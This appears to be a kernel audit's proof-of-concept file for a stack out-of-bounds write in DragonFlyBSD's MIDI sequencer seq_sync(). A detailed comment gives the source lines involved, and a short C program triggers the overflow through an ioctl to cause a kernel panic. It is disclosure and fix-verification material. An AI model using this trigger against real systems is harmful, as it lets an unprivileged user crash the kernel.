โฌข DragonFlyBSD Kernel Audit
DF-4129 / seq_sync_oob.c
โ† back to finding โ†“ download raw
/*
 * DF-4129 โ€” seq_sync() stack OOB write via >=17 MIDI units (unprivileged).
 *
 * sys/dev/sound/midi/sequencer.c:2063 declares
 *     int i, rl, sync[16], done;
 * but seq_sync() then does (sequencer.c:2123-2131, lock NOT held here):
 *     for (i = 0; i < scp->midi_number; i++)
 *         sync[i] = 1;                        <-- OOB write for i >= 16
 *     ...
 *     for (i = 0; i < scp->midi_number; i++)
 *         if (sync[i]) { ... }                <-- OOB read
 *
 * scp->midi_number counts every snd_midi unit that opened successfully in
 * seq_open() (sequencer.c:766-785) and is bounded only by the 32-entry
 * scp->midis[] allocation (sequencer.c:541).  17..32 attached MIDI units
 * therefore smash 4..64 bytes past sync[16] on the kernel stack of the
 * calling (unprivileged) thread โ€” reachable through
 *   * ioctl(/dev/sequencer0, SNDCTL_SEQ_SYNC)   (sequencer.c:1202-1210)
 *   * close() -> seq_close() -> seq_sync()      (sequencer.c:836-837)
 * both on the 0666 /dev/sequencer node.
 *
 * NOTE on wiring: on DragonFly the sequencer personality is DEAD CODE โ€”
 * the only seq_modevent() call is inside "#if 0" (midi.c:1508) and
 * sequencer.c registers no module itself, so stock systems never get
 * /dev/sequencer.  The PoC run therefore uses a PoC-wiring patch that
 * re-enables the (unmodified) sequencer code, plus fakempu.ko, a harness
 * that registers 32 fake MPU-401 UART units via the exported midi_init().
 *
 * Usage: ./seq_sync_oob [n]      (run as an unprivileged user)
 *   opens /dev/sequencer0 O_RDWR, issues SNDCTL_SEQ_SYNC, then closes.
 * Expected on vulnerable kernel: fatal trap / panic (kernel stack smash
 * with 0x01 words), guest dies.  Expected on fixed kernel: ioctl returns
 * 0, exit 0, guest stays up.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>

int
main(int argc, char **argv)
{
	const char *dev = argc > 2 ? argv[2] : "/dev/sequencer0";
	int loops = argc > 1 ? atoi(argv[1]) : 1;
	int fd, i, rc, arg = 0;

	for (i = 0; i < loops; i++) {
		fd = open(dev, O_RDWR);
		if (fd < 0) {
			printf("[-] open %s: %s\n", dev, strerror(errno));
			return 1;
		}
		printf("[*] %s opened (iter %d)\n", dev, i);

		rc = ioctl(fd, SNDCTL_SEQ_SYNC, &arg);
		printf("[*] SNDCTL_SEQ_SYNC -> rc=%d errno=%d(%s)\n",
		    rc, errno, strerror(errno));

		rc = close(fd);
		printf("[*] close -> rc=%d errno=%d(%s)\n",
		    rc, errno, rc ? strerror(errno) : "ok");
	}
	printf("[+] survived %d open/sync/close cycle(s)\n", loops);
	return 0;
}